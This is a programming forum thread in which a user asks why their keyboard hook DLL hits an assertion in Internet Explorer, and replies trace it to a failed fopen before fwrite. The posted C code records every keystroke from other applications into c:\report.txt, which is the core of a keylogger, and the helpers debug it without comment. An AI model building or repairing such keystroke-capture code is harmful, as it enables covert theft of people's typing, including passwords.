GetKeyboardState + iexplore
-
hi member I am using GetKeyboardState and iexplore.I am getting assertion when i click on iexplore.
GetKeyboardState(ks); WORD w; UINT scan; scan=0; ToAscii(wParam,scan,ks,&w,0); ch =char(w);
Please help me.
cjsc wrote:
I am using GetKeyboardState and iexplore.
What do you mean by this? Please elaborate.
«_Superman_» I love work. It gives me something to do between weekends.
Microsoft MVP (Visual C++) -
hi member I am using GetKeyboardState and iexplore.I am getting assertion when i click on iexplore.
GetKeyboardState(ks); WORD w; UINT scan; scan=0; ToAscii(wParam,scan,ks,&w,0); ch =char(w);
Please help me.
Am I correct that you are: Writing and installing a keyboard hook? Trigger an assertion in your code when you start Internet Explorer? What assertion do you get? What is the code that gives the assertion? Since you are getting an assertion, the place to look is at that assertion. Ask yourself: What is the expected condition that was violated? Can I trace this back from the occurence of the assertion to the origin of the problem?
Please do not read this signature.
-
hi member I am using GetKeyboardState and iexplore.I am getting assertion when i click on iexplore.
GetKeyboardState(ks); WORD w; UINT scan; scan=0; ToAscii(wParam,scan,ks,&w,0); ch =char(w);
Please help me.
Reach out to the source file and line number specified in the assertion, and see what condition is failing.
“Follow your bliss.” – Joseph Campbell
-
Reach out to the source file and line number specified in the assertion, and see what condition is failing.
“Follow your bliss.” – Joseph Campbell
Thank for all of you. Sir i found dll from this site. Assertion getting when i click on internet explorer.
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);Here assertion showingWORD w; UINT scan=0; ToAscii(wParam,scan,ks,&w,0); ch = char(w); fwrite(&ch,1,1,f1); } fclose(f1); } }
Assertion
files\internet explore\iexplore.exe
File:f:\dd\vctools\ctr_blb\self_x86\crt\src\fwrite.c
line:77Expression:(stream!=NULL)
Thanks
-
Thank for all of you. Sir i found dll from this site. Assertion getting when i click on internet explorer.
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);Here assertion showingWORD w; UINT scan=0; ToAscii(wParam,scan,ks,&w,0); ch = char(w); fwrite(&ch,1,1,f1); } fclose(f1); } }
Assertion
files\internet explore\iexplore.exe
File:f:\dd\vctools\ctr_blb\self_x86\crt\src\fwrite.c
line:77Expression:(stream!=NULL)
Thanks
-
Thank for all of you. Sir i found dll from this site. Assertion getting when i click on internet explorer.
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);Here assertion showingWORD w; UINT scan=0; ToAscii(wParam,scan,ks,&w,0); ch = char(w); fwrite(&ch,1,1,f1); } fclose(f1); } }
Assertion
files\internet explore\iexplore.exe
File:f:\dd\vctools\ctr_blb\self_x86\crt\src\fwrite.c
line:77Expression:(stream!=NULL)
Thanks
It looks like it's actually the fwrite() line that's failing. You can tell from the assertion that your fopen() call failed. That means you don't have anything to write to but your still trying. That's why you get the assertion. Handle the case of when fopen() fails.